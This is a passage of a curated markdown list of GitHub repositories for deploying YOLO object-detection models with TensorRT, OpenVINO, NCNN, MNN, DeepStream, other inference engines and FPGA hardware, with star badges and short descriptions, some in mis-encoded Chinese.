- [ibaiGorordo/ONNX-YOLOv6-Object-Detection](https://github.com/ibaiGorordo/ONNX-YOLOv6-Object-Detection) <img src="https://img.shields.io/github/stars/ibaiGorordo/ONNX-YOLOv6-Object-Detection?style=social"/> : Python scripts performing object detection using the YOLOv6 model in ONNX.
- [ibaiGorordo/ONNX-YOLOv7-Object-Detection](https://github.com/ibaiGorordo/ONNX-YOLOv7-Object-Detection) <img src="https://img.shields.io/github/stars/ibaiGorordo/ONNX-YOLOv7-Object-Detection?style=social"/> : Python scripts performing object detection using the YOLOv7 model in ONNX.
- [triple-Mu/yolov7](https://github.com/triple-Mu/yolov7) <img src="https://img.shields.io/github/stars/triple-Mu/yolov7?style=social"/> : End2end TensorRT YOLOv7.
- [hewen0901/yolov7_trt](https://github.com/hewen0901/yolov7_trt) <img src="https://img.shields.io/github/stars/hewen0901/yolov7_trt?style=social"/> : yolov7็ฎๆ ๆฃๆต็ฎๆณ็c++ tensorrt้จ็ฝฒไปฃ็ ใ
- [tsutof/tiny_yolov2_onnx_cam](https://github.com/tsutof/tiny_yolov2_onnx_cam) <img src="https://img.shields.io/github/stars/tsutof/tiny_yolov2_onnx_cam?style=social"/> : Tiny YOLO v2 Inference Application with NVIDIA TensorRT.
- [Monday-Leo/Yolov5_Tensorrt_Win10](https://github.com/Monday-Leo/Yolov5_Tensorrt_Win10) <img src="https://img.shields.io/github/stars/Monday-Leo/Yolov5_Tensorrt_Win10?style=social"/> : A simple implementation of tensorrt yolov5 python/c++๐ฅ
- [Wulingtian/yolov5_tensorrt_int8](https://github.com/Wulingtian/yolov5_tensorrt_int8) <img src="https://img.shields.io/github/stars/Wulingtian/yolov5_tensorrt_int8?style=social"/> : TensorRT int8 ้ๅ้จ็ฝฒ yolov5s ๆจกๅ๏ผๅฎๆต3.3msไธๅธง๏ผ
- [Wulingtian/yolov5_tensorrt_int8_tools](https://github.com/Wulingtian/yolov5_tensorrt_int8_tools) <img src="https://img.shields.io/github/stars/Wulingtian/yolov5_tensorrt_int8_tools?style=social"/> : tensorrt int8 ้ๅyolov5 onnxๆจกๅใ
- [MadaoFY/yolov5_TensorRT_inference](https://github.com/MadaoFY/yolov5_TensorRT_inference) <img src="https://img.shields.io/github/stars/MadaoFY/yolov5_TensorRT_inference?style=social"/> : ่ฎฐๅฝyolov5็TensorRT้ๅๅๆจ็ไปฃ็ ๏ผ็ปๅฎๆตๅฏ่ฟ่กไบJetsonๅนณๅฐใ
- [ibaiGorordo/ONNX-YOLOv8-Object-Detection](https://github.com/ibaiGorordo/ONNX-YOLOv8-Object-Detection) <img src="https://img.shields.io/github/stars/ibaiGorordo/ONNX-YOLOv8-Object-Detection?style=social"/> : Python scripts performing object detection using the YOLOv8 model in ONNX.
- [we0091234/yolov8-tensorrt](https://github.com/we0091234/yolov8-tensorrt) <img src="https://img.shields.io/github/stars/we0091234/yolov8-tensorrt?style=social"/> : yolov8 tensorrt ๅ ้.
- [FeiYull/yolov8-tensorrt](https://github.com/FeiYull/yolov8-tensorrt) <img src="https://img.shields.io/github/stars/FeiYull/yolov8-tensorrt?style=social"/> : YOLOv8็TensorRT+CUDAๅ ้้จ็ฝฒ๏ผไปฃ็ ๅฏๅจWinใLinuxไธ่ฟ่กใ
- [cvdong/YOLO_TRT_SIM](https://github.com/cvdong/YOLO_TRT_SIM) <img src="https://img.shields.io/github/stars/cvdong/YOLO_TRT_SIM?style=social"/> : ๐ ไธๅฅไปฃ็ ๅๆถๆฏๆYOLO X, V5, V6, V7, V8 TRTๆจ็ โข๏ธ ๐ ,ๅๅๅค็ๅ็ฑCUDAๆ ธๅฝๆฐๅฎ็ฐ CPP/CUDA๐
- [cvdong/YOLO_TRT_PY](https://github.com/cvdong/YOLO_TRT_PY) <img src="https://img.shields.io/github/stars/cvdong/YOLO_TRT_PY?style=social"/> : ๐ฐ ไธๅฅไปฃ็ ๅๆถๆฏๆYOLOV5, V6, V7, V8 TRTๆจ็ โข๏ธ PYTHON โ๏ธ
- [Psynosaur/Jetson-SecVision](https://github.com/Psynosaur/Jetson-SecVision) <img src="https://img.shields.io/github/stars/Psynosaur/Jetson-SecVision?style=social"/> : Person detection for Hikvision DVR with AlarmIO ports, uses TensorRT and yolov4.
- [tatsuya-fukuoka/yolov7-onnx-infer](https://github.com/tatsuya-fukuoka/yolov7-onnx-infer) <img src="https://img.shields.io/github/stars/tatsuya-fukuoka/yolov7-onnx-infer?style=social"/> : Inference with yolov7's onnx model.
- [MadaoFY/yolov5_TensorRT_inference](https://github.com/MadaoFY/yolov5_TensorRT_inference) <img src="https://img.shields.io/github/stars/MadaoFY/yolov5_TensorRT_inference?style=social"/> : ่ฎฐๅฝyolov5็TensorRT้ๅๅๆจ็ไปฃ็ ๏ผ็ปๅฎๆตๅฏ่ฟ่กไบJetsonๅนณๅฐใ
- [ervgan/yolov5_tensorrt_inference](https://github.com/ervgan/yolov5_tensorrt_inference) <img src="https://img.shields.io/github/stars/ervgan/yolov5_tensorrt_inference?style=social"/> : TensorRT cpp inference for Yolov5 model. Supports yolov5 v1.0, v2.0, v3.0, v3.1, v4.0, v5.0, v6.0, v6.2, v7.0.
- [AlbinZhu/easy-trt](https://github.com/AlbinZhu/easy-trt) <img src="https://img.shields.io/github/stars/AlbinZhu/easy-trt?style=social"/> : TensorRT for YOLOv10 with CUDA.
- ##### OpenVINO
- [OpenVINO](https://github.com/openvinotoolkit/openvino) <img src="https://img.shields.io/github/stars/openvinotoolkit/openvino?style=social"/> : This open source version includes several components: namely Model Optimizer, OpenVINOโข Runtime, Post-Training Optimization Tool, as well as CPU, GPU, MYRIAD, multi device and heterogeneous plugins to accelerate deep learning inferencing on Intelยฎ CPUs and Intelยฎ Processor Graphics.
- [PINTO0309/OpenVINO-YoloV3](https://github.com/PINTO0309/OpenVINO-YoloV3) <img src="https://img.shields.io/github/stars/PINTO0309/OpenVINO-YoloV3?style=social"/> : YoloV3/tiny-YoloV3 + RaspberryPi3/Ubuntu LaptopPC + NCS/NCS2 + USB Camera + Python + OpenVINO.
- [TNTWEN/OpenVINO-YOLOV4](https://github.com/TNTWEN/OpenVINO-YOLOV4) <img src="https://img.shields.io/github/stars/TNTWEN/OpenVINO-YOLOV4?style=social"/> : This is implementation of YOLOv4,YOLOv4-relu,YOLOv4-tiny,YOLOv4-tiny-3l,Scaled-YOLOv4 and INT8 Quantization in OpenVINO2021.3.
- [fb029ed/yolov5_cpp_openvino](https://github.com/fb029ed/yolov5_cpp_openvino) <img src="https://img.shields.io/github/stars/fb029ed/yolov5_cpp_openvino?style=social"/> : ็จc++ๅฎ็ฐไบyolov5ไฝฟ็จopenvino็้จ็ฝฒใ
- [dlod-openvino/yolov5_infer](https://github.com/dlod-openvino/yolov5_infer) <img src="https://img.shields.io/github/stars/dlod-openvino/yolov5_infer?style=social"/> : Do the YOLOv5 model inference by OpenCV/OpenVINO based on onnx model format.
- [snail0614/yolov5.6_openvino_cpp](https://github.com/snail0614/yolov5.6_openvino_cpp) <img src="https://img.shields.io/github/stars/snail0614/yolov5.6_openvino_cpp?style=social"/> : yolov5.6.1 OpenVINO็C++ๅฎ็ฐใ
- [shungfu/openvino_yolov5v7](https://github.com/shungfu/openvino_yolov5v7) <img src="https://img.shields.io/github/stars/shungfu/openvino_yolov5v7?style=social"/> : YOLOv5 YOLOv7 INT8 quantization using OpenVINO.
- [dacquaviva/yolov5-openvino-cpp-python](https://github.com/dacquaviva/yolov5-openvino-cpp-python) <img src="https://img.shields.io/github/stars/dacquaviva/yolov5-openvino-cpp-python?style=social"/> : Example of using ultralytics YOLOv5 with Openvino in C++ and Python.
- [rlggyp/YOLOv10-OpenVINO-CPP-Inference](https://github.com/rlggyp/YOLOv10-OpenVINO-CPP-Inference) <img src="https://img.shields.io/github/stars/rlggyp/YOLOv10-OpenVINO-CPP-Inference?style=social"/> : YOLOv10 C++ implementation using OpenVINO for efficient and accurate real-time object detection.
- ##### NCNN
- [NCNN](https://github.com/Tencent/ncnn) <img src="https://img.shields.io/github/stars/Tencent/ncnn?style=social"/> : ncnn is a high-performance neural network inference framework optimized for the mobile platform.
- [Baiyuetribe/ncnn-models](https://github.com/Baiyuetribe/ncnn-models) <img src="https://img.shields.io/github/stars/Baiyuetribe/ncnn-models?style=social"/> : awesome AI models with NCNN, and how they were converted โจโจโจ
- [cmdbug/YOLOv5_NCNN](https://github.com/cmdbug/YOLOv5_NCNN) <img src="https://img.shields.io/github/stars/cmdbug/YOLOv5_NCNN?style=social"/> : ๐
Deploy ncnn on mobile phones. Support Android and iOS. ็งปๅจ็ซฏncnn้จ็ฝฒ๏ผๆฏๆAndroidไธiOSใ
- [natanielruiz/android-yolo](https://github.com/natanielruiz/android-yolo) <img src="https://img.shields.io/github/stars/natanielruiz/android-yolo?style=social"/> : Real-time object detection on Android using the YOLO network with TensorFlow.
- [nihui/ncnn-android-yolov5](https://github.com/nihui/ncnn-android-yolov5) <img src="https://img.shields.io/github/stars/nihui/ncnn-android-yolov5?style=social"/> : The YOLOv5 object detection android example.
- [szaza/android-yolo-v2](https://github.com/szaza/android-yolo-v2) <img src="https://img.shields.io/github/stars/szaza/android-yolo-v2?style=social"/> : Android YOLO real time object detection sample application with Tensorflow mobile.
- [FeiGeChuanShu/ncnn-android-yolox](https://github.com/FeiGeChuanShu/ncnn-android-yolox) <img src="https://img.shields.io/github/stars/FeiGeChuanShu/ncnn-android-yolox?style=social"/> : Real time yolox Android demo by ncnn.
- [xiangweizeng/darknet2ncnn](https://github.com/xiangweizeng/darknet2ncnn) <img src="https://img.shields.io/github/stars/xiangweizeng/darknet2ncnn?style=social"/> : Darknet2ncnn converts the darknet model to the ncnn model.
- [sunnyden/YOLOV5_NCNN_Android](https://github.com/sunnyden/YOLOV5_NCNN_Android) <img src="https://img.shields.io/github/stars/sunnyden/YOLOV5_NCNN_Android?style=social"/> : YOLOv5 C++ Implementation on Android using NCNN framework.
- [duangenquan/YoloV2NCS](https://github.com/duangenquan/YoloV2NCS) <img src="https://img.shields.io/github/stars/duangenquan/YoloV2NCS?style=social"/> : This project shows how to run tiny yolo v2 with movidius stick.
- [lp6m/yolov5s_android](https://github.com/lp6m/yolov5s_android) <img src="https://img.shields.io/github/stars/lp6m/yolov5s_android?style=social"/> : Run yolov5s on Android device!
- [KoheiKanagu/ncnn_yolox_flutter](https://github.com/KoheiKanagu/ncnn_yolox_flutter) <img src="https://img.shields.io/github/stars/KoheiKanagu/ncnn_yolox_flutter?style=social"/> : This is a plugin to run YOLOX on ncnn.
- [cyrillkuettel/ncnn-android-yolov5](https://github.com/cyrillkuettel/ncnn-android-yolov5) <img src="https://img.shields.io/github/stars/cyrillkuettel/ncnn-android-yolov5?style=social"/> : This is a sample ncnn android project, it depends on ncnn library and opencv.
- [DataXujing/ncnn_android_yolov6](https://github.com/DataXujing/ncnn_android_yolov6) <img src="https://img.shields.io/github/stars/DataXujing/ncnn_android_yolov6?style=social"/> : ๆๆธๆๅฎ็ฐๅบไบQTๅNCNN็ๅฎๅๆๆบYOLOv6ๆจกๅ็้จ็ฝฒ๏ผ
- [Qengineering/YoloV3-ncnn-Raspberry-Pi-4](https://github.com/Qengineering/YoloV3-ncnn-Raspberry-Pi-4) <img src="https://img.shields.io/github/stars/Qengineering/YoloV3-ncnn-Raspberry-Pi-4?style=social"/> : YoloV3 Raspberry Pi 4.
- [Qengineering/YoloV4-ncnn-Raspberry-Pi-4](https://github.com/Qengineering/YoloV4-ncnn-Raspberry-Pi-4) <img src="https://img.shields.io/github/stars/Qengineering/YoloV4-ncnn-Raspberry-Pi-4?style=social"/> : YoloV4 on a bare Raspberry Pi 4 with ncnn framework.
- [Qengineering/YoloV5-ncnn-Raspberry-Pi-4](https://github.com/Qengineering/YoloV5-ncnn-Raspberry-Pi-4) <img src="https://img.shields.io/github/stars/Qengineering/YoloV5-ncnn-Raspberry-Pi-4?style=social"/> : YoloV5 for a bare Raspberry Pi 4.
- [Qengineering/YoloV6-ncnn-Raspberry-Pi-4](https://github.com/Qengineering/YoloV6-ncnn-Raspberry-Pi-4) <img src="https://img.shields.io/github/stars/Qengineering/YoloV6-ncnn-Raspberry-Pi-4?style=social"/> : YoloV6 for a bare Raspberry Pi using ncnn.
- [Qengineering/YoloV7-ncnn-Raspberry-Pi-4](https://github.com/Qengineering/YoloV7-ncnn-Raspberry-Pi-4) <img src="https://img.shields.io/github/stars/Qengineering/YoloV7-ncnn-Raspberry-Pi-4?style=social"/> : YoloV7 for a bare Raspberry Pi using ncnn.
- [Qengineering/YoloV8-ncnn-Raspberry-Pi-4](https://github.com/Qengineering/YoloV8-ncnn-Raspberry-Pi-4) <img src="https://img.shields.io/github/stars/Qengineering/YoloV8-ncnn-Raspberry-Pi-4?style=social"/> : YoloV8 for a bare Raspberry Pi 4.
- [FeiGeChuanShu/ncnn-android-yolov8](https://github.com/FeiGeChuanShu/ncnn-android-yolov8) <img src="https://img.shields.io/github/stars/FeiGeChuanShu/ncnn-android-yolov8?style=social"/> : Real time yolov8 Android demo by ncnn.
- [FLamefiREz/yolov10-android-ncnn](https://github.com/FLamefiREz/yolov10-android-ncnn) <img src="https://img.shields.io/github/stars/FLamefiREz/yolov10-android-ncnn?style=social"/> : yolov10-android-ncnn.
- ##### MNN
- [MNN](https://github.com/alibaba/MNN) <img src="https://img.shields.io/github/stars/alibaba/MNN?style=social"/> : MNN is a blazing fast, lightweight deep learning framework, battle-tested by business-critical use cases in Alibaba. (**[MLSys 2020](https://proceedings.mlsys.org/paper/2020/hash/8f14e45fceea167a5a36dedd4bea2543-Abstract.html)**)
- [apxlwl/MNN-yolov3](https://github.com/apxlwl/MNN-yolov3) <img src="https://img.shields.io/github/stars/apxlwl/MNN-yolov3?style=social"/> : MNN demo of Strongeryolo, including channel pruning, android support...
- ##### DeepStream
- [NVIDIA-AI-IOT/deepstream_reference_apps](https://github.com/NVIDIA-AI-IOT/deepstream_reference_apps) <img src="https://img.shields.io/github/stars/NVIDIA-AI-IOT/deepstream_reference_apps?style=social"/> : Reference Apps using DeepStream 6.1.
- [NVIDIA-AI-IOT/deepstream_python_apps](https://github.com/NVIDIA-AI-IOT/deepstream_python_apps) <img src="https://img.shields.io/github/stars/NVIDIA-AI-IOT/deepstream_python_apps?style=social"/> : DeepStream SDK Python bindings and sample applications.
- [NVIDIA-AI-IOT/deepstream_python_apps](https://github.com/NVIDIA-AI-IOT/yolov5_gpu_optimization) <img src="https://img.shields.io/github/stars/NVIDIA-AI-IOT/yolov5_gpu_optimization?style=social"/> : This repository provides YOLOV5 GPU optimization sample.
- [marcoslucianops/DeepStream-Yolo](https://github.com/marcoslucianops/DeepStream-Yolo) <img src="https://img.shields.io/github/stars/marcoslucianops/DeepStream-Yolo?style=social"/> : NVIDIA DeepStream SDK 6.1.1 / 6.1 / 6.0.1 / 6.0 implementation for YOLO models.
- [DanaHan/Yolov5-in-Deepstream-5.0](https://github.com/DanaHan/Yolov5-in-Deepstream-5.0) <img src="https://img.shields.io/github/stars/DanaHan/Yolov5-in-Deepstream-5.0?style=social"/> : Describe how to use yolov5 in Deepstream 5.0.
- [ozinc/Deepstream6_YoloV5_Kafka](https://github.com/ozinc/Deepstream6_YoloV5_Kafka) <img src="https://img.shields.io/github/stars/ozinc/Deepstream6_YoloV5_Kafka?style=social"/> : This repository gives a detailed explanation on making custom trained deepstream-Yolo models predict and send message over kafka.
- [kn1ghtf1re/yolov8-deepstream-6-1](https://github.com/kn1ghtf1re/yolov8-deepstream-6-1) <img src="https://img.shields.io/github/stars/kn1ghtf1re/yolov8-deepstream-6-1?style=social"/> : YOLOv8 by Ultralytics in DeepStream 6.1.
- [bharath5673/Deepstream](https://github.com/bharath5673/Deepstream) <img src="https://img.shields.io/github/stars/bharath5673/Deepstream?style=social"/> : yolov2 ,yolov5 ,yolov6 ,yolov7 ,yolov7,yolovR ,yolovX on deepstream.
- [Savant](https://github.com/insight-platform/Savant) <img src="https://img.shields.io/github/stars/insight-platform/Savant?style=social"/> : Python Computer Vision & Video Analytics Framework With Batteries Included. [savant-ai.io](https://savant-ai.io/)
- ##### Other Engine
- [TVM](https://github.com/apache/tvm) <img src="https://img.shields.io/github/stars/apache/tvm?style=social"/> : Open deep learning compiler stack for cpu, gpu and specialized accelerators.
- [ceccocats/tkDNN](https://github.com/ceccocats/tkDNN) <img src="https://img.shields.io/github/stars/ceccocats/tkDNN?style=social"/> : Deep neural network library and toolkit to do high performace inference on NVIDIA jetson platforms. "A Systematic Assessment of Embedded Neural Networks for Object Detection". (**[IEEE ETFA 2020](https://ieeexplore.ieee.org/document/9212130)**)
- [Tengine](https://github.com/OAID/Tengine) <img src="https://img.shields.io/github/stars/OAID/Tengine?style=social"/> : Tengine is a lite, high performance, modular inference engine for embedded device.
- [Paddle Lite](https://github.com/paddlepaddle/paddle-lite) <img src="https://img.shields.io/github/stars/paddlepaddle/paddle-lite?style=social"/> : Multi-platform high performance deep learning inference engine (้ฃๆกจๅค็ซฏๅคๅนณๅฐ้ซๆง่ฝๆทฑๅบฆๅญฆไน ๆจ็ๅผๆ๏ผใ
- [DeployAI/nndeploy](https://github.com/DeployAI/nndeploy) <img src="https://img.shields.io/github/stars/DeployAI/nndeploy?style=social"/> : nndeploy is a cross-platform, high-performing, and straightforward AI model deployment framework. We strive to deliver a consistent and user-friendly experience across various inference framework in complex deployment environments and focus on performance. nndeployไธๆฌพ่ทจๅนณๅฐใ้ซๆง่ฝใ็ฎๅๆ็จ็ๆจกๅ็ซฏๅฐ็ซฏ้จ็ฝฒๆกๆถใๆไปฌ่ดๅไบๅฑ่ฝไธๅๆจ็ๆกๆถ็ๅทฎๅผ๏ผๆไพไธ่ดไธ็จๆทๅๅฅฝ็็ผ็จไฝ้ช๏ผๅๆถไธๆณจไบ้จ็ฝฒๅ
จๆต็จ็ๆง่ฝใ
- [yhwang-hub/dl_model_infer](https://github.com/yhwang-hub/dl_model_infer) <img src="https://img.shields.io/github/stars/yhwang-hub/dl_model_infer?style=social"/> : his is a c++ version of the AI reasoning library. Currently, it only supports the reasoning of the tensorrt model. The follow-up plan supports the c++ reasoning of frameworks such as Openvino, NCNN, and MNN. There are two versions for pre- and post-processing, c++ version and cuda version. It is recommended to use the cuda version., This repository provides accelerated deployment cases of deep learning CV popular models, and cuda c supports dynamic-batch image process, infer, decode, NMS.
- [hollance/YOLO-CoreML-MPSNNGraph](https://github.com/hollance/YOLO-CoreML-MPSNNGraph) <img src="https://img.shields.io/github/stars/hollance/YOLO-CoreML-MPSNNGraph?style=social"/> : Tiny YOLO for iOS implemented using CoreML but also using the new MPS graph API.
- [r4ghu/iOS-CoreML-Yolo](https://github.com/r4ghu/iOS-CoreML-Yolo) <img src="https://img.shields.io/github/stars/r4ghu/iOS-CoreML-Yolo?style=social"/> : This is the implementation of Object Detection using Tiny YOLO v1 model on Apple's CoreML Framework.
- [airockchip/rknn_model_zoo](https://github.com/airockchip/rknn_model_zoo) <img src="https://img.shields.io/github/stars/airockchip/rknn_model_zoo?style=social"/> : Rockchip Neural Network(RKNN)ๆฏ็่ฏๅพฎไธบไบๅ ้ๆจกๅๆจ็่ๅบไบ่ช่บซNPU็กฌไปถๆถๆๅฎไน็ไธๅฅๆจกๅๆ ผๅผ.ไฝฟ็จ่ฏฅๆ ผๅผๅฎไน็ๆจกๅๅจRockchip NPUไธๅฏไปฅ่ทๅพ่ฟ้ซไบCPU/GPU็ๆง่ฝใ
- [LynxiTechnology/Lynxi-model-zoo](https://github.com/LynxiTechnology/Lynxi-model-zoo) <img src="https://img.shields.io/github/stars/LynxiTechnology/Lynxi-model-zoo?style=social"/> : Lynxi-model-zoo.
- ### FPGA TPU NPU Hardware Deployment
#### FPGA TPU NPU ็กฌไปถ้จ็ฝฒ
- ##### FPGA
- [Xilinx/Vitis-AI](https://github.com/Xilinx/Vitis-AI/tree/master/demo) <img src="https://img.shields.io/github/stars/Xilinx/Vitis-AI?style=social"/> : Vitis AI offers a unified set of high-level C++/Python programming APIs to run AI applications across edge-to-cloud platforms, including DPU for Alveo, and DPU for Zynq Ultrascale+ MPSoC and Zynq-7000. It brings the benefits to easily port AI applications from cloud to edge and vice versa. 10 samples in [VART Samples](https://github.com/Xilinx/Vitis-AI/tree/master/demo/VART) are available to help you get familiar with the unfied programming APIs. [Vitis-AI-Library](https://github.com/Xilinx/Vitis-AI/tree/master/demo/Vitis-AI-Library) provides an easy-to-use and unified interface by encapsulating many efficient and high-quality neural networks.
- [tensil-ai/tensil](https://github.com/tensil-ai/tensil) <img src="https://img.shields.io/github/stars/tensil-ai/tensil?style=social"/> : Open source machine learning accelerators. [www.tensil.ai](https://www.tensil.ai/)
- [19801201/SpinalHDL_CNN_Accelerator](https://github.com/19801201/SpinalHDL_CNN_Accelerator) <img src="https://img.shields.io/github/stars/19801201/SpinalHDL_CNN_Accelerator?style=social"/> : CNN accelerator implemented with Spinal HDL.
- [dhm2013724/yolov2_xilinx_fpga](https://github.com/dhm2013724/yolov2_xilinx_fpga) <img src="https://img.shields.io/github/stars/dhm2013724/yolov2_xilinx_fpga?style=social"/> : YOLOv2 Accelerator in Xilinx's Zynq-7000 Soc(PYNQ-z2, Zedboard and ZCU102). (**[็กๅฃซ่ฎบๆ 2019](https://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CMFD&dbname=CMFDTEMP&filename=1019228234.nh&uid=WEEvREcwSlJHSldRa1FhdXNXaEhoOGhUTzA5T0tESzdFZ2pyR1NJR1ZBaz0=$9A4hF_YAuvQ5obgVAqNKPCYcEjKensW4IQMovwHtwkF4VYPoHbKxJw!!&v=MjE5NTN5dmdXN3JBVkYyNkY3RzZGdFBQcTVFYlBJUjhlWDFMdXhZUzdEaDFUM3FUcldNMUZyQ1VSTE9lWnVkdUY=), [็ตๅญๆๆฏๅบ็จ 2019](https://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CJFQ&dbname=CJFDLAST2019&filename=DZJY201908009&uid=WEEvREcwSlJHSldRa1FhdXNXaEhoOGhUTzA5T0tESzdFZ2pyR1NJR1ZBaz0=$9A4hF_YAuvQ5obgVAqNKPCYcEjKensW4IQMovwHtwkF4VYPoHbKxJw!!&v=MDU0NDJDVVJMT2VadWR1Rnl2Z1c3ck1JVGZCZDdHNEg5ak1wNDlGYllSOGVYMUx1eFlTN0RoMVQzcVRyV00xRnI=), [่ฎก็ฎๆบ็งๅญฆไธๆข็ดข 2019](https://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CJFQ&dbname=CJFDTEMP&filename=KXTS201910005&uid=WEEvREcwSlJHSldRa1FhdXNXaEhoOGhUTzA5T0tESzdFZ2pyR1NJR1ZBaz0=$9A4hF_YAuvQ5obgVAqNKPCYcEjKensW4IQMovwHtwkF4VYPoHbKxJw!!&v=MjkwNzdXTTFGckNVUkxPZVp1ZHVGeXZnVzdyT0xqWGZmYkc0SDlqTnI0OUZZWVI4ZVgxTHV4WVM3RGgxVDNxVHI=)**)
- [Yu-Zhewen/Tiny_YOLO_v3_ZYNQ](https://github.com/Yu-Zhewen/Tiny_YOLO_v3_ZYNQ) <img src="https://img.shields.io/github/stars/Yu-Zhewen/Tiny_YOLO_v3_ZYNQ?style=social"/> : Implement Tiny YOLO v3 on ZYNQ. "A Parameterisable FPGA-Tailored Architecture for YOLOv3-Tiny". (**[ARC 2020](https://link.springer.com/chapter/10.1007/978-3-030-44534-8_25)**)
- [HSqure/ultralytics-pt-yolov3-vitis-ai-edge](https://github.com/HSqure/ultralytics-pt-yolov3-vitis-ai-edge) <img src="https://img.shields.io/github/stars/HSqure/ultralytics-pt-yolov3-vitis-ai-edge?style=social"/> : This demo is only used for inference testing of Vitis AI v1.4 and quantitative compilation of DPU. It is compatible with the training results of [ultralytics/yolov3](https://github.com/ultralytics/yolov3) v9.5.0 (it needs to use the model saving method of Pytorch V1.4).
- [mcedrdiego/Kria_yolov3_ppe](https://github.com/mcedrdiego/Kria_yolov3_ppe) <img src="https://img.shields.io/github/stars/mcedrdiego/Kria_yolov3_ppe?style=social"/> : Kria KV260 Real-Time Personal Protective Equipment Detection. "Deep Learning for Site Safety: Real-Time Detection of Personal Protective Equipment". (**[Automation in Construction 2020](https://www.sciencedirect.com/science/article/abs/pii/S0926580519308325)**)
- [xlsjdjdk/Ship-Detection-based-on-YOLOv3-and-KV260](https://github.com/xlsjdjdk/Ship-Detection-based-on-YOLOv3-and-KV260) <img src="https://img.shields.io/github/stars/xlsjdjdk/Ship-Detection-based-on-YOLOv3-and-KV260?style=social"/> : This is the entry project of the Xilinx Adaptive Computing Challenge 2021. It uses YOLOv3 for ship target detection in optical remote sensing images, and deploys DPU on the KV260 platform to achieve hardware acceleration.
- [Pomiculture/YOLOv4-Vitis-AI](https://github.com/Pomiculture/YOLOv4-Vitis-AI) <img src="https://img.shields.io/github/stars/Pomiculture/YOLOv4-Vitis-AI?style=social"/> : Custom YOLOv4 for apple recognition (clean/damaged) on Alveo U280 accelerator card using Vitis AI framework.
- [mkshuvo2/ZCU104_YOLOv3_Post_Processing](https://github.com/mkshuvo2/ZCU104_YOLOv3_Post_Processing) <img src="https://img.shields.io/github/stars/mkshuvo2/ZCU104_YOLOv3_Post_Processing?style=social"/> : Tensor outputs form Vitis AI Runner Class for YOLOv3.
- [puffdrum/v4tiny_pt_quant](https://github.com/puffdrum/v4tiny_pt_quant) <img src="https://img.shields.io/github/stars/puffdrum/v4tiny_pt_quant?style=social"/> : quantization for yolo with xilinx/vitis-ai-pytorch.
- [chanshann/LITE_YOLOV3_TINY_VITISAI](https://github.com/chanshann/LITE_YOLOV3_TINY_VITISAI) <img src="https://img.shields.io/github/stars/chanshann/LITE_YOLOV3_TINY_VITISAI?style=social"/> : LITE_YOLOV3_TINY_VITISAI.
- [LukiBa/zybo_yolo](https://github.com/LukiBa/zybo_yolo) <img src="https://img.shields.io/github/stars/LukiBa/zybo_yolo?style=social"/> : YOLO example implementation using Intuitus CNN accelerator on ZYBO ZYNQ-7000 FPGA board.
- [matsuda-slab/YOLO_ZYNQ_MASTER](https://github.com/matsuda-slab/YOLO_ZYNQ_MASTER) <img src="https://img.shields.io/github/stars/matsuda-slab/YOLO_ZYNQ_MASTER?style=social"/> : Implementation of YOLOv3-tiny on FPGA.
- [FerberZhang/Yolov2-FPGA-CNN-](https://github.com/FerberZhang/Yolov2-FPGA-CNN-) <img src="https://img.shields.io/github/stars/FerberZhang/Yolov2-FPGA-CNN-?style=social"/> : A demo for accelerating YOLOv2 in xilinx's fpga PYNQ.
- [ChainZeeLi/FPGA_DPU](https://github.com/ChainZeeLi/FPGA_DPU) <img src="https://img.shields.io/github/stars/ChainZeeLi/FPGA_DPU?style=social"/> : This project is to implement YOLO v3 on Xilinx FPGA with DPU.
- [xbdxwyh/yolov3_fpga_project](https://github.com/xbdxwyh/yolov3_fpga_project) <img src="https://img.shields.io/github/stars/xbdxwyh/yolov3_fpga_project?style=social"/> : yolov3_fpga_project.
- [ZLkanyo009/Yolo-compression-and-deployment-in-FPGA](https://github.com/ZLkanyo009/Yolo-compression-and-deployment-in-FPGA) <img src="https://img.shields.io/github/stars/ZLkanyo009/Yolo-compression-and-deployment-in-FPGA?style=social"/> : ๅบไบFPGA้ๅ็ไบบ่ธๅฃ็ฝฉๆฃๆตใ
- [xiying-boy/yolov3-AX7350](https://github.com/xiying-boy/yolov3-AX7350) <img src="https://img.shields.io/github/stars/xiying-boy/yolov3-AX7350?style=social"/> : ๅบไบHLS_YOLOV3็้ฉฑๅจๆไปถใ
- [himewel/yolowell](https://github.com/himewel/yolowell) <img src="https://img.shields.io/github/stars/himewel/yolowell?style=social"/> : A set of hardware architectures to build a co-design of convolutional neural networks inference at FPGA devices.
- [embedeep/Free-TPU](https://github.com/embedeep/Free-TPU) <img src="https://img.shields.io/github/stars/embedeep/Free-TPU?style=social"/> : Free TPU for FPGA with Lenet, MobileNet, Squeezenet, Resnet, Inception V3, YOLO V3, and ICNet. Deep learning acceleration using Xilinx zynq (Zedboard or ZC702 ) or kintex-7 to solve image classification, detection, and segmentation problem.
- [yarakigit/design_contest_yolo_change_ps_to_pl](https://github.com/yarakigit/design_contest_yolo_change_ps_to_pl) <img src="https://img.shields.io/github/stars/yarakigit/design_contest_yolo_change_ps_to_pl?style=social"/> : Converts pytorch yolo format weights to C header files for bare-metal (FPGA implementation).
- [MasLiang/CNN-On-FPGA](https://github.com/MasLiang/CNN-On-FPGA) <img src="https://img.shields.io/github/stars/MasLiang/CNN-On-FPGA?style=social"/> : This is the code of the CNN on FPGA.But this can only be used for reference at present for some files are write coarsly using ISE.
- [adamgallas/fpga_accelerator_yolov3tiny](https://github.com/adamgallas/fpga_accelerator_yolov3tiny) <img src="https://img.shields.io/github/stars/adamgallas/fpga_accelerator_yolov3tiny?style=social"/> : fpga_accelerator_yolov3tiny.
- [ylk678910/tiny-yolov3-fpga](https://github.com/ylk678910/tiny-yolov3-fpga) <img src="https://img.shields.io/github/stars/ylk678910/tiny-yolov3-fpga?style=social"/> : Use an all-programmable SoC board to implement locating and tracking tasks. The hardware algorithm, a row-stationary-like strategy, can parallel calculate and reduce the storage buffer area on FPGA.
- [zhen8838/K210_Yolo_framework](https://github.com/zhen8838/K210_Yolo_framework) <img src="https://img.shields.io/github/stars/zhen8838/K210_Yolo_framework?style=social"/> : Yolo v3 framework base on tensorflow, support multiple models, multiple datasets, any number of output layers, any number of anchors, model prune, and portable model to K210 !
- [SEASKY-Master/SEASKY_K210](https://github.com/SEASKY-Master/SEASKY_K210) <img src="https://img.shields.io/github/stars/SEASKY-Master/SEASKY_K210?style=social"/> : K210 PCB YOLO.
